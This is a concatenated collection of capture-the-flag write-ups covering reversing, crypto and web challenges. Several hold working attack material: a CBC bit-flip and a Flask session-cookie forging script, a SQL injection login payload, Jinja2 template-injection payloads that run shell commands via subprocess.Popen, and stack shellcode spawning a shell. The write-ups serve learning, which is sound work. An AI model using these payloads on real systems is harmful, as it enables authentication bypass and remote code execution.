After a frenzied search engine querying session, I found[this cryptography stack exchange question](https://crypto.stackexchange.com/questions/30407/alter-plaintext-in-block-cipher-aes-in-cbc-mode)regarding a very similar problem, and skimming through the relevant wikipediapages gave me a superficial understanding of the issue at stake.
The problem here is that we know the IV (Initialization Vector) and that we canalter it.
### CBC Mode ?
Wikipedia has a [helpful page](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#CBC)on the topic.
CBC stands for "Cipher Block Chaining" and refers to a mode of encryption/decryptionthat works as follow (for decryption) :
1. The message is split in "blocks" of equal size (the blocksize, here it's 16 bytes)2. Each block is decrypted3. The decrypted bytes are [XOR](decryption)'d with the previous block's ciphertext (__the first block is XOR'd with the IV__)
Since we control the IV, we can alter the resulting plaintext in the firstblock. Since we know the plaintext, a simple way to do that is to construct thenew IV by XORing the known plaintext value with the desired plaintext value.That will create a masks that flips the necessary bits on decryption.
### Quick and dirty script
After experimenting a bit, I ended up with the following python3 script. It'snot pretty, but it does the job. I've added comments for this writeup.
```pythonfrom base64 import b64encode, b64decodefrom sys import argv
def xor(a, b): """ return a bytearray constructed by XORing a and b """ out = bytearray() for i,c in enumerate(a): out.append(c ^ b[i]) return bytes(out)
def construct_cookie(cookie_value): # current and desired plaintext, obtained by observing the cookie desired_plaintext = bytearray('{"admin": 0, "pa', 'utf8') current_plaintext = bytearray('{"admin": 1, "pa', 'utf8') # base64-decode the cookie value decoded_cookie = b64decode(cookie_value) # split the IV and the message original_iv = decoded_cookie[:16] # construct the mask for the first block desired_iv = xor(xor(desired_plaintext, current_plaintext), bytearray(original_iv)) # prepend the new IV to the original ciphertext altered_ciphertext = desired_iv+decoded_cookie[16:] # base64-encode the cookie value cookie = b64encode(altered_ciphertext).decode("utf8") return cookie
if __name__ == '__main__': try: cookie = argv[1] except IndexError: print(f'usage: {argv[0]} [COOKIE]') print(construct_cookie(cookie))```
Now, if we grab the original cookie value, pass it to this script and requestthe `/flag` path with the generated cookie, we get our flag :`picoCTF{fl1p_4ll_th3_bit3_7d7c2296}` |
# WriteupWe open the binary with IDA and we realize that the binary gets an input from stdin. Also the input password needs a 44 lenght value so we start with something like that `aaaaaaaaaaabbbbbbbbbbbcccccccccccddddddddddd`. We set a breakpoint here `0x0040341F` and patch this instruction with `jnz`.After the `fgets` function call we will analyze important functions.## sub_4018D9We are in this part of lenght `bbbbbbbbbbb` because of this instruction `movzx eax, byte ptr [eax]` move 0x62 byte. Here `cmp dl, al` we realize that this compare with the first byte of hardcoded key `(mv|GLp+Gv+` xored, with our input byte xored two times so we need resolve this:```input[0] = ?xor1 = 0xbxor2 = 0x13al = 0x28```
The first input should be 0x30 or 0 if we want that this comparation is equal to `al` register. After all iteration we will have `0und_Th3_n3` so we have currently this --> `aaaaaaaaaaa0und_Th3_n3cccccccccccddddddddddd`
## sub_401AB9Next part we enter in this function and we realize that corresponds to the first part of the flag as it uses `aaaaaaaaaaa`. In this instruction `cmp bl, al` we see that this compare with the first byte of hardcoded key `}[2waHmrgxj` with our input 0x61 + two bytes, so this 0x63. Also with + four bytes after sixth iteration. We need resolve this:```0x63-0x2 = 0x61 (our input)0x7d-0x2 = 0x7b or { (correct input)```
We get `{Y0u_Finctf` and the correct will be `inctf{Y0u_F`. We have currently this --> `inctf{Y0u_F0und_Th3_n3cccccccccccddddddddddd`In `sub_4018A0` function we enter into and we realize that there is an **IsDebuggerPresent** so we just need patch the instruction with `jnz`.
## sub_401E73Next function we see that correspond with this part of lenght password `ddddddddddd`. In this code we need that `eax` register will be 0 after `strncmp` function call.```lea eax, [ebp+var_2A]mov [esp+48h+Str2], eax ; Str2lea eax, [ebp+var_1F]mov [esp+48h+Str1], eax ; Str1call strncmpmov [ebp+var_14], eax```
Str1 is hardcoded string {`I5z%u5dL~` and Str2 is our input 0x64 + one byte, so this 0x65.```0x65-0x1 = 0x64 (our input)0x7b-0x1 = 0x7a or z (correct input)```
The string will be `z_H4y$t4cK}`. We have currently this --> `inctf{Y0u_F0und_Th3_n3cccccccccccz_H4y$t4cK}`
## sub_4024C3In last function we see that our input starts from the end towards the beginning so we replace this part `ccccccccccc` with `ABCDEFGHIJK`. To resolve this problem we have a key `7D 15 41 1E 70 39 66 55 39 5D 6E` and other xored value:```First:0x4a+0x1 = 0x4b (our input)0x7d-0x1 = 0x7c or | (correct input)Second:xor = 0x4b^0x7d #0x4b = input and 0x7d second value of key.R= 0x15^0x7d = 0x68 or h (correct input) #0x15 third value of key.Third:xor = 0x49^0x15 #0x49 = input and 0x15 third value of key.R= 0x41^0x15 = 0x54 or T (correct input) #0x41 third value of key.And so on...```
Finally we get this string value `3dl3_In_Th|` so the flag is: `inctf{Y0u_F0und_Th3_n33dl3_In_Th|z_H4y$t4cK}`by @naivenom**PKTeam** |
It is required for this task to solve "What you have tamed?". Robots.txt disallows indexing /jobs/manage. Navigate to the url. We can press the button but nothing is happening. Check cookies. Change 'is_ueberadmin' to '1' and press the button. HumanCTF{} (Yes, flag is the template for flags). |
Go to http://ctf.knastu.ru/webch/deposits. We see two deposits with urls '.../deposits/1' and '.../deposits/2'. Try to find third deposit: http://ctf.knastu.ru/webch/deposits/3. HumanCTF{7ru57_m3_i_will_pay_y0u} |
# The task.
* [original link](https://ctf.csaw.io/challenges#doubletrouble) * [attach](https://expend20.github.io/assets/files/ctf/2018/csaw/doubletrouble/doubletrouble.zip) * [ctftime](https://ctftime.org/event/633)
# The bug.
Let's run the app.
The first address it shows `0xffb4a578`, is array address on the stack, so it's probably a hint to exploiting approach. Let's check binary security.
So we got an executable stack, no PIE but canary. Let’s analyze the binary for any vulnerabilities. Everything looks good, except this:
That `*a1 += (int)&GLOBAL_OFFSET_TABLE_ - 134529023;` is just `*a1 += 1`, where `a1` is pointer to lenght of the user input array.
After `findArray()` there is call to `sortArray()`.
So we basically can run sort with modified length of the array, affecting data right after it. Let's inspect a stack layout.
The attack plan is to craft such input data, that after sorting, canary will remain at the same place, but ret address will be our input data.
So we need to sort at least 0x18 bytes after user input array. We should craft our new length to be at least 64 (max possible user input) + 3 (which is 0x18 / 8)
# The double.
User input is stored as `double`. Let's remember how `double` is represented in memory.
We can manipulate that type with python as well.
```>>> "%.20g" % struct.unpack("<d", p64(0xf8ffffffffffffff))[0]'-6.9244620785013907482e+274'>>> struct.pack("<d", -6.9244620785013907482e+274).encode("hex")'fffffffffffffff8'```
# The exploit.
The first thing we need to do is to patch array size. The bug is triggered when the input is `> -100` and `< -10`. For example, if we want to patched length equal to 67 (which is 64 + 7), we should send first two values, not in that range, and second - in that range.
We will set huge negative value as our most user data, so it will appear on top of sorted data, and will not affect our result mostly. However, we can only use the new return address greater than the original one, otherwise, it will not be sorted, as we need.
My strategy was to jump on `ret`, and use next `double`'s low DWORD to control EIP. So now we need to use 64 + 4 as new size.
After we control EIP, we should execute the shell. Since the stack is executable and there is `system()` address binary, and `sh` is also present, we can just pop a shell with 2 opcodes:```push 0x804A12Dcall dword ptr [0x804BFF0]```
We can embed that shell code in our input, like this:``` sh1 = asm("push 0x804A12D; jmp $+3").ljust(8, '\xfe') sh2 = asm("call dword ptr [0x804BFF0]").ljust(8, '\xfc')
r.sendline("%.20g" % struct.unpack(" |
The answer to the question in the hint ("What can you do with a flaskSecret_Key?") is "it depends" : Flask is very flexible, and many extensionsuse the key in different ways or replace Flask's session mechanism.
But in the case of a "vanilla" Flask app (no extensions used) the secret ket isused to sign the session cookie.
A quick search for "Flask decrypt cookie" yielded[this gist](https://gist.github.com/babldev/502364a3f7c9bafaa6db), which was agood starting point.
_Note : Flask needs to be installed for this code to run_
If we decode the cookie, we see it has 4 field = `_fresh`, `_id`, `csrf_token`and `user_id`. No `admin` field this time !
The only field that seemed interesting was the `user_id` field. Asserting that`admin` was the first user created, I tried forging a cookie with a `user_id`of `1`.
Here's my script :
```pythonimport hashlibfrom itsdangerous import URLSafeTimedSerializerfrom flask.sessions import TaggedJSONSerializerfrom sys import argv
KEY = '3589a201d98658da606797c074cc2216' # from the task description
def decode_flask_cookie(secret_key, cookie_str): salt = 'cookie-session' serializer = TaggedJSONSerializer() signer_kwargs = { 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) return s.loads(cookie_str)
def encode_flask_cookie(secret_key, cookie): salt = 'cookie-session' serializer = TaggedJSONSerializer() signer_kwargs = { 'key_derivation': 'hmac', 'digest_method': hashlib.sha1 } s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs) return s.dumps(cookie)
if __name__ == '__main__': try: cookie = argv[1] except IndexError: print(f'usage: {argv[0]} [COOKIE]') cookie_val = (decode_flask_cookie(KEY, cookie)) new_cookie = dict(cookie_val) new_cookie['user_id'] = '1' print(encode_flask_cookie(KEY, new_cookie))```
If we pass it the app's cookie and then request `/admin` with the generatedcookie, we get the flag : `picoCTF{1_id_to_rule_them_all_d77c1ed6} `. |
It is Luhn Algorithm. Find a number and send an answer. ```def checkLuhn(purportedCC=''): sum = 0 parity = len(purportedCC) % 2 for i, digit in enumerate([int(x) for x in purportedCC]): if i % 2 == parity: digit *= 2 if digit > 9: digit -= 9 sum += digit return sum % 10 == 0``` |
```sh% gdb -q ./run(gdb) b*0x004008a8Breakpoint 1 at 0x4008a8(gdb) rStarting program: /problems/learn-gdb_0_716957192e537ac769f0975c74b34194/runDecrypting the Flag into global variable 'flag_buf'.....................................Breakpoint 1, 0x00000000004008a8 in decrypt_flag ()(gdb) x/s flag_buf0x137e010: "picoCTF{gDb_iS_sUp3r_u53fuL_a6c61d82}"(gdb)``` |
# Rabbit Hole
> Here's a picture of my favorite vegetable. I hope it doesn't make you cry.
## The setup
We get a simple jpg of an onion. We know it's stego so I started poking there. It took me a very very large amount of time to find it, even thought the fact that it's a jpg seriously limited the possbilities.
## The solving
### Part 1: Extracting from jpg
It ended up being an image processed with steghide. Now all I needed was the password. After some trial and error and remembering the harshells debacle, I ended up trying 'onion' which was correct. I then got a textfile containing a seemingly random string of printable chars.
### Part 2: Onion
The name is a give away: it's a website on the onion network which can be accessed through tor. Not necessarily eager to venture there, I used a web proxy to access the page, which turned out to be a gigantic chunk of chinese characters, as well as some gifs.
### Part 3: Reading Chinese
Funny enough, I read chinese and this was basically junk. At this point it was also around 2am on a work night and I was getting slowly but surely a little tired. My first instict was to separate the stuff, i.e. dump the whole chinese chunk in a binary file, extract the gifs as png and start by performing basic stego on the latter. It didn't yield anything so I turned my attention to the cinese text again. No, from previous challenges I had done some extensive readup on multi-byte encodings and my first thougth was that it could be just that. Alas, none of the usual suspects seemed to fit. So I started wandering. Talking to other people, one directed my attention towards bases, such as base64. Given the size however, it had to be something else. 3 am came and went and that's basically when I discovered that there exists such a thing as [base65536](https://github.com/qntm/base65536). It turned out to be right.
### Part 4: Mooom, are we there yet?
Almost. Decoding the blob using base65536 and ddumping it in a binary file finally gave us something recognizable: a PKZIP file. Upon opening it, I was greeted by some dubious ebook which, quite frankly, I simply wans't equipped to deal with at the taime of the night. I had an instant regret the next morning when I simply ran ```strings``` on the file and immediately got the flag.
To summarize: this was one of the best challenges I've come accross. Incredibly creative and a lot of new things learned, and also very lucrative, part of what brought me in the top20. 11/10 would do again. |
"Our boss suggested introducing a standard which allows websites to do something. But I don't remember what to do...". We should find "a standard which allows websites to do something". But what is something? Google: "a standard which allows websites to do something". The first link is https://securitytxt.org. Maybe Überbank also have this file? Navigate to http://ctf.knastu.ru/webch/security.txt. And read flag ;) HumanCTF{f0und_vuln_3xp3c73d_flag} |
```Howdy mate! Just login and hand out the flag, aye! You can find on h18johndoe has all you need!```
What's interesting, the `h18johndoe` name points to a file in an external git repository (on github): [user_repo.rb](https://github.com/h18johndoe/user_repository/blob/master/user_repo.rb)
The interesting part of that code is:
```rubydef login(identification, password) hashed_input_password = hash(password) query = "select id, phone, email from users where email = '#{identification}' and password_digest = '#{hashed_input_password}' limit 1" puts "SQL executing: '#{query}'" @database[query].first if user_exists?(identification)end```
We can also see that the *hashing* function is a simple reverse func:
```rubydef hash(password) password.reverseend```
Sooooo...
We can see that along the `identification` field, the `password` field is posted (note that it's not in the original request - you have to add it by yourself as there is no *password* input).Furthermore, the password field is - as we've just observed - *hashed* by reversing and what we post is inserted into the SQL query. We've got an `SQL injection`!
We can't inject the identification field, though (as a check is performed to see whether the user exists), so we use the `hashed_input_password` part. We still need either the email or phone number as an identification. How can we obtain them? Well, from the GIT log after cloning the repo (thanks [tezeb](https://github.com/tezeb) for reminding me about this!):
```$ git clone https://github.com/h18johndoe/user_repositoryCloning into 'user_repository'...remote: Enumerating objects: 12, done.remote: Counting objects: 100% (12/12), done.remote: Compressing objects: 100% (5/5), done.remote: Total 12 (delta 2), reused 12 (delta 2), pack-reused 0Unpacking objects: 100% (12/12), done.$ cd user_repository/$ git log | head -5commit b26aed283d56c65845b02957a11d90bc091ac35aAuthor: John Doe <[email protected]>Date: Tue Oct 2 23:55:57 2018 +0200
Add login method(...)commit 3ec70acbf846037458c93e8d0cb79a6daac98515Author: John Doe <[email protected]>Date: Tue Oct 2 23:01:30 2018 +0200
Add user repo class and file```
Thus, as we know what the *hashing* function does, we just supply the email and *hash* (reverse) the query to get in:
```POST /login HTTP/1.1Host: yo-know-john-dow.ctf.hackover.de:4567User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: pl,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateReferer: http://yo-know-john-dow.ctf.hackover.de:4567/loginContent-Type: application/x-www-form-urlencodedContent-Length: 96Cookie: (...)DNT: 1Connection: closeUpgrade-Insecure-Requests: 1
[email protected]&password=-- 1 timil sresu morf enohp,2,1 tceles noinu 1=1 ro '``````html
<html><title>Yah know john dow?</title>
<meta name="viewport" content="width=device-width, initial-scale=1"><link rel="stylesheet" href="w3.css"><script type="text/javascript" src="/js/script.js"></script><body><div class="w3-container w3-bar w3-indigo"> <h1>D0 Y0u kn0W j0Hn D0w?</h1> </div><div class="w3-main"> <div class="w3-bar w3-blue"> <div class="w3-bar-item w3-green w3-mobile">Logged in as: 0157 1337 42</div> Logout </div> <div class="w3-container w3-center"> HERE IS YO FLAG:
hackover18{I_KN0W_H4W_70_STALK_2018}</div></div></body></html>```
At this point we actually got frustrated since the flag didn't get accepted; we tried to go through the database (via `sqlite_master`) while pinging the organizers about the problem.
We didn't find anything in the DB and it was just a technical issue, after all - the organizers quickly fixed it, we submitted the flag and got the points :-)
**Flag:** `hackover18{I_KN0W_H4W_70_STALK_2018}`
Cheers! |
I was lazy, sorry :
```#!/usr/bin/env python# coding: utf-8
import angrimport claripyimport time
def main(): p = angr.Project('./chall')
flag_chars = [claripy.BVS('flag{%d}' % i, 8) for i in range(46)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')] )
st = p.factory.full_init_state( args=['./chall'], stdin=flag, )
for k in flag_chars: st.solver.add(k != 0) st.solver.add(k != 10) st.solver.add(k >= 32) st.solver.add(k <= 128)
sm = p.factory.simulation_manager(st) sm.run()
for pp in sm.deadended: stdin = pp.posix.dumps(0) stdout = pp.posix.dumps(1) if 'Yay!' in stdout: print stdin
if __name__ == "__main__": main()``` |
just a solution:
by tracing your input (must be 16 chars) as license (eg hwbp) you will find license checking algo:```00007FF77E134BCB | 44 0F B6 C0 | movzx r8d,al |00007FF77E134BCF | 0F B6 CB | movzx ecx,bl |00007FF77E134BD2 | C0 E1 06 | shl cl,6 |00007FF77E134BD5 | C0 FB 02 | sar bl,2 |00007FF77E134BD8 | 0A CB | or cl,bl |00007FF77E134BDA | 80 F1 AE | xor cl,AE |00007FF77E134BDD | 0F B6 D1 | movzx edx,cl |00007FF77E134BE0 | C0 FA 03 | sar dl,3 |00007FF77E134BE3 | C0 E1 05 | shl cl,5 |00007FF77E134BE6 | 0A D1 | or dl,cl |00007FF77E134BE8 | 80 F2 66 | xor dl,66 |00007FF77E134BEB | 0F B6 C2 | movzx eax,dl |00007FF77E134BEE | D0 F8 | sar al,1 |00007FF77E134BF0 | C0 E2 07 | shl dl,7 |00007FF77E134BF3 | 41 0F B6 D8 | movzx ebx,r8b |00007FF77E134BF7 | C0 FB 04 | sar bl,4 |00007FF77E134BFA | 0A DA | or bl,dl |00007FF77E134BFC | 0A D8 | or bl,al |00007FF77E134BFE | F6 D3 | not bl |00007FF77E134C00 | 41 32 D8 | xor bl,r8b |00007FF77E134C03 | 3A 1E | cmp bl,byte ptr ds:[rsi] |00007FF77E134C05 | 75 17 | jne snake.7FF77E134C1E |00007FF77E134C07 | F6 D3 | not bl |00007FF77E134C09 | FF C7 | inc edi |00007FF77E134C0B | 48 FF C6 | inc rsi |00007FF77E134C0E | 49 8B 47 18 | mov rax,qword ptr ds:[r15+18] |00007FF77E134C12 | 3B 78 04 | cmp edi,dword ptr ds:[rax+4] | checkkkkkkkk00007FF77E134C15 | 7C 99 | jl snake.7FF77E134BB0 |```
by using some operations it checks license char by char (result of every loop is used for next one)
final values should be :01 95 66 3E 1B 56 64 2C 28 0A 9A 04 AD 0C C8 D9
I just edited code inside debugger to bruteforce every char
valid license: "1Lov3oldArc4de!!"
//TMT |
# Baby exploit - HackLu 2018
Too lazy to check which bit to flip. With a padded shellcode i tried to bruteforce all the combinations locally (just 1500 more or less) and it worked also on the remote service :)
The full exploit is [here](exploit.py)! |
This task is a "sequel" to the first one in the "Flaskcards" series. Thevulnerability is the same, but this time we need to get code execution out ofit.
First, here are the two reference articles for FLask/Jinja2 SSTI exploitation :
- [Exploring SSTI in Flask/Jinja2 part I](https://www.lanmaster53.com/2016/03/09/exploring-ssti-flask-jinja2/)- [Exploring SSTI in Flask/Jinja2 part II](https://www.lanmaster53.com/2016/03/11/exploring-ssti-flask-jinja2-part-2/)
Everything we need to solve this task is in those two posts !
What we need to do is explore the Python environment in order to find a classthat we can use for command execution. Here's how to construct a payload :
```jinja2{{ "".__class__.__mro__ }}```
In python, everything is an object. So here `""` (an empty string) is a`str` instance. the `__class__` attribute gives us access to its class (`str`).the `__mro__` (Method Resolution Order) attribute of a class gives us theinheritance tree of that class (a tuple of classes) :
```python(str, object)```
Now, "everything is an object" in python translates to "every class is asubclass of `object`". So we can explore the python environment by listingthe subclasses of `object` :
If `{{ "".__class__.__mro__ }}` evaluates to `(str, object)`, then
```jinja2{{ "".__class__.__mro__[1] }}```
evaluates to
```pythonobject```
We can then use the `__subclasses__()` method of the `object` class to get alist of subclasses. So using the payload :
{{ "".__class__.__mro__[1].__subclasses__() }}
We get a very long list classes. I copied it and then used :
```pythonsubclasses = !pbpastefor index, subclass in enumerate(subclasses[0].split(',')): print(f'{index}: {subclass}')```
to get a list of the subclasses with their index in the list.
_Note : `!command` is not python syntax, it is an[IPython](https://ipython.org/) feature that returns the output of a command.`pbpaste` is an OSX command that echoes the content of the system clipboard._
Going through the list, we can find a class that can be used for commandexecution. The most obvious one is `subprocess.Popen`, at index `533`. We couldget a bind/remote shell, or just list the current directory :
```jinja2{{ "".__class__.__mro__[1].__subclasses__()[533]("ls", stdout=-1, shell=True) }}```
This shows a `flag` file, so let's `cat` it :
```jinja2{{ "".__class__.__mro__[1].__subclasses__()[533]("cat flag", stdout=-1, shell=True) }}```
And that gives us the flag = `picoCTF{R_C_E_wont_let_me_be_85e92c3a}`. |
# Bwv2342 (reverse, 499p, 4 solved)
In the challenge we get a [binary](bwv2342) which was obfuscated by movfuscator.We also get a netcat address for the server running the binary.
We tried using some de-movfuscators but to no avail.Therefore we decided to try blackbox approach.
Using `ltrace` and `strace` we could see that the binary opens `flag.txt`, so to do some local tests we should make sych file.Sadly tracing didn't show anything useful apart from that.
The binary reads input from us and prints as output `notes` as for example `C#1` or `G 2`.
Once we created local flag file and checked what results we get from the binary, when providing proper flag prefix vs. random data, we noticed that there is a difference.We usually get a `lower` note for the proper data.It can be handled even easier, since basically the result for correct prefix is simply different, and all others are the same!
If for example we send `h` then result will be `X`, and if we send any other character the result will be `Y`.
This means we can easily brute-force the flag byte by byte with:
```pythonimport reimport stringfrom collections import defaultdict
from crypto_commons.netcat.netcat_commons import nc, send, receive_until_match, receive_until
def main(): url = "bwv2342.ctf.hackover.de" port = 1337 s = nc(url, port) s.recv(9999) prefix = '' charset = string.letters + string.digits + string.punctuation + " " while True: corr = {} symbols = defaultdict(int) for c in charset: send(s, prefix + c) res = receive_until(s, "\n") receive_until_match(s, "Please enter your guess:\n") symbol = re.findall("(.*)", res)[0] corr[symbol] = c symbols[symbol] += 1 print(symbols) print(corr) for symbol, c in symbols.items(): if c == 1: prefix += corr[symbol] break print(prefix)
main()```
We simply test all possible character from charset, and count the results.The proper result is the one with `counter = 1`.
After a moment we recover: `hackover18{M0V_70_7h4_w0h173mp3r13r73_Kl4v13r}` |
Proble Statement:
Wow, he made the exponent really large so the encryption MUST be safe, right?! Connect with nc 2018shell2.picoctf.com 29661.
Solution :I got the following things :
c: 1778673018511075140350698252891639557906407090250539057221806340768776705763113815373271713598206734943304136885307657644746166557801527614555955063613958550715606102502660768573300084767410478866161295739179626743292839204862654148472896949835346074323716667404949929701903737872090588147698250826373180618
n: 77531969503748326589677418948315140870584015245386763633241518845356850979564402923266696704186567270006361208862086254527576010412135230279553684940635956656649728134893874567619948675304052482720430367748612708917105846534082863042823913166120865362252479206576942147071396319459112580853771742537940112457
e: 56172436577459725698934391359139104915041430213184221292301658571726414059411889155782982024019814564512291421932489731563519296372873415080546379424619308859152360214209740169135159761234894923144971372974038021945201954600238994209605035703317119192844975463915465725406543097929017637859019950590916533609
Since e is very large we can crack this using Wiener's attack.I used this repository https://github.com/pablocelayes/rsa-wiener-attack .I made changes in tryhack.py And got d= 65537
as i got the private key i decoded the message in python3 using : hex(print(pow(d,c,n))
which resulted
0x7069636f4354467b77407463685f793075725f5870306e336e74245f6340723366753131795f353439353632377d
after converting it resulted:
picoCTF{w@tch_y0ur_Xp0n3nt$_c@r3fu11y_5495627} |
# XORnigma### (Junior - 1pts) > Obtain the file from given [file](xornigma.py)------We are provided a python source code which has generated a encrypted output using a key over a flag
In this challenge we need to reverse the python code and the encryption to receive the flag
First thing first we can see that output is an hexcode; with first 4 bytes as 0
Encryption is simple one XORing each character in flag with key repeating key in cycle till whole flag is encrypted
Having first 4 bytes as 0 means that flag and key has first 4 characters similar
We know that flag has pattern as follows:```DCTF{*******...}```So our key will have DCTF in start and D will XOR with some character again if length is shorter; even we know 5th and last char in flag the output; all be need to do is check 5th char used against flag to find pattern for key
Hence, lets XOR fifth char with encrypted string's fifth char```python>>> chr(ord('3f'.decode('hex'))^ord('{'))'D'```It seems our key's fifth might be repeating let's take *DCTF* as our key; which makes sense```python>>> import itertools>>> def xor_two_str(s, key):... key = key * (len(s) / len(key) + 1)... return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key))...>>> flag_key = 'DCTF'>>> x = '000000003f2537257777312725266c24207062777027307574706672217a67747374642577263077777a3725762067747173377326716371272165722122677522746327743e'>>> xor_two_str(x.decode('hex'), flag_key)'DCTF{fcc34eaae8bd3614dd30324e932770c3ed139cc2c3250c5b277cb14ea33f77a0}'```Ohh, we got the flag there it is
------Flag: DCTF{fcc34eaae8bd3614dd30324e932770c3ed139cc2c3250c5b277cb14ea33f77a0} |
The binary is written in C# so I've decompiled it with dnSpy That funny looking function calls another funny looking one And this goes on and on and on for god knows how many times At last, it lands on a function that looks like this  Of course, this isn't the real flag. Actually, there are 10098 of them Continuing with the Cheat Engine from now on Put a breakpoint at the line that comes after the `Readline` call to view the string object returned from the `Readline` call Returned string object is kept in `eax`, check bottom left window Skipping to the `ReadKey` call, look who is allocated next to our input :smiley: We got the flag!  |
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# Forgetful Commander---**Points:** 281 | **Solves:** 36/1035 | **Category:** Reverse
And you lost a key again. This time it's the key to your missiles command station. However, the command station got a silent password override. Even though your memory isn't that good, you don't remember the password either, your technical skills are!. You've already dumped the binary, which checks the password. Now you just have to reverse it!
[Download](ForgetfulCommander_85dcf6730d6936301904fc2218c77d6c.zip)---
[Bahasa Indonesia](#bahasa-indonesia)
## EnglishThe binary is `elf32-i386`. We have difficulty doing static analysis because the `.text` segment is not disassembled properly and it seems that the machine instructions are pretty random.
We decided to try to do dynamic analysis. The execution of the binary doesn't show clear behavior because there is no interaction whatsoever. Execution using strace shows that the program exited with code 1.
```$ strace ./forgetful_commander...open("/proc/self/maps", O_RDONLY) = 3read(3, "5660d000-5660f000 r--p 00000000 "..., 16384) = 1528close(3) = 0exit_group(1) = ?+++ exited with 1 ++```
The binary is compiled as PIE (Independent Position-Executables). We try to use `gdb` and set `breakpoint` to the `.text` address in the hope that the correct instructions will be executed.
```$ gdb ./forgetful_commander...gdb-peda$ b *0x0Breakpoint 1 at 0x0gdb-peda$ rStarting program: /vagrant/forgetful_commanderWarning:Cannot insert breakpoint 1.Cannot access memory at address 0x0
gdb-peda$ del 1gdb-peda$ info filesSymbols from "/vagrant/forgetful_commander".Native process: Using the running image of child process 28513. While running this, GDB does not access memory from...Local exec file: `/vagrant/forgetful_commander', file type elf32-i386.warning: Cannot find section for the entry point of /vagrant/forgetful_commander. Entry point: 0xd000 0x56556194 - 0x565561a7 is .interp 0x565561a8 - 0x565561c8 is .note.ABI-tag 0x565561c8 - 0x565561fc is .hash 0x565561fc - 0x5655621c is .gnu.hash 0x5655621c - 0x5655629c is .dynsym 0x5655629c - 0x56556339 is .dynstr 0x5655633a - 0x5655634a is .gnu.version 0x5655634c - 0x5655637c is .gnu.version_r 0x5655637c - 0x565563bc is .rel.dyn 0x565563bc - 0x565563cc is .rel.plt 0x56557000 - 0x56557020 is .init 0x56557020 - 0x56557050 is .plt 0x56557050 - 0x56557321 is .text 0x56557324 - 0x56557338 is .fini 0x56558000 - 0x5655842c is .rodata 0x5655842c - 0x56558450 is .eh_frame_hdr 0x56558450 - 0x565584f0 is .eh_frame 0x56559eec - 0x56559ef0 is .init_array 0x56559ef0 - 0x56559ef4 is .fini_array 0x56559ef4 - 0x56559fec is .dynamic 0x56559fec - 0x5655a000 is .got 0x5655a000 - 0x5655a014 is .got.plt 0x5655a014 - 0x5655a01c is .data 0x5655a01c - 0x5655a020 is .bssgdb-peda$ x/10i 0x56557050 0x56557050: cdq 0x56557051: addr16 int 0x30 0x56557054: movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0x56557055: add bh,ah 0x56557057: add ebp,ebx 0x56557059: xchg ecx,eax 0x5655705a: into 0x5655705b: ins DWORD PTR es:[edi],dx 0x5655705c: xor al,0x2c 0x5655705e: daagdb-peda$ b *0x56557050Breakpoint 2 at 0x56557050gdb-peda$ cContinuing....Breakpoint 2, 0x56557050 in ?? ()gdb-peda$ s...gdb-peda$ s
Program received signal SIGSEGV, Segmentation fault.[----------------------------------registers-----------------------------------]EAX: 0xf7ffd918 --> 0x56555000 --> 0x464c457fEBX: 0xf7ffd000 --> 0x23f3cECX: 0xffffd694 --> 0xffffd7c3 ("/vagrant/forgetful_commander")EDX: 0xffffffffESI: 0xffffd69c --> 0xffffd7de ("XDG_SESSION_ID=221")EDI: 0x56562000 --> 0x819c6050EBP: 0x0ESP: 0xffffd690 --> 0x1EIP: 0x56557051 --> 0xb4895eedEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------] 0x56557046: push 0x8 0x5655704b: jmp 0x56557020 0x56557050: cdq=> 0x56557051: in eax,dx 0x56557052: pop esi 0x56557053: mov DWORD PTR [ebx+eax*4+0x5405f0e4],esi 0x5655705a: push edx 0x5655705b: call 0x565570d7[------------------------------------stack-------------------------------------]0000| 0xffffd690 --> 0x10004| 0xffffd694 --> 0xffffd7c3 ("/vagrant/forgetful_commander")0008| 0xffffd698 --> 0x00012| 0xffffd69c --> 0xffffd7de ("XDG_SESSION_ID=221")0016| 0xffffd6a0 --> 0xffffd7f1 ("SHELL=/bin/bash")0020| 0xffffd6a4 --> 0xffffd801 ("TERM=xterm-256color")0024| 0xffffd6a8 --> 0xffffd815 ("SSH_CLIENT=10.0.2.2 56511 22")0028| 0xffffd6ac --> 0xffffd832 ("SSH_TTY=/dev/pts/0")[------------------------------------------------------------------------------]Legend: code, data, rodata, valueStopped reason: SIGSEGV0x56557051 in ?? ()```
As we can see, this looks strange because the execution of the random instructions still occurs and produces SIGSEGV. It seems like the program somehow use self-modifying code at one point.
Assuming that `__libc_start_main` will be called, we try to interrupt when call to `__libc_start_main` is occurs by hijacking the function using `LD_PRELOAD`. By raising `SIGINT`, `gdb` will capture the `signal` and we can check the `state` of the program at that time.
Here is the `hijack.c` code.
```C#define _GNU_SOURCE
#include <dlfcn.h>#include <signal.h>
int __libc_start_main(int (*main) (int,char **,char **), int argc, char **ubp_av, void (*init) (void), void (*fini)(void), void (*rtld_fini)(void), void (*stack_end)) {
int (*original__libc_start_main)(int (*main) (int,char **,char **), int argc, char **ubp_av, void (*init) (void), void (*fini)(void), void (*rtld_fini)(void), void (*stack_end));
raise(SIGINT);
original__libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main"); return original__libc_start_main(main, argc,ubp_av, init, fini, rtld_fini, stack_end);}```
Compile the code to `hijack.so` (32 bit).
```gcc --shared -fPIC hijack.c -o hijack.so -ldl -m32```
Use that library in the `gdb`.
```$ gdb --args env LD_PRELOAD=/vagrant/hijack.so ./forgetful_commander...gdb-peda$ rStarting program: /usr/bin/env LD_PRELOAD=/vagrant/hijack.so ./forgetful_commanderprocess 28754 is executing new program: /vagrant/forgetful_commander
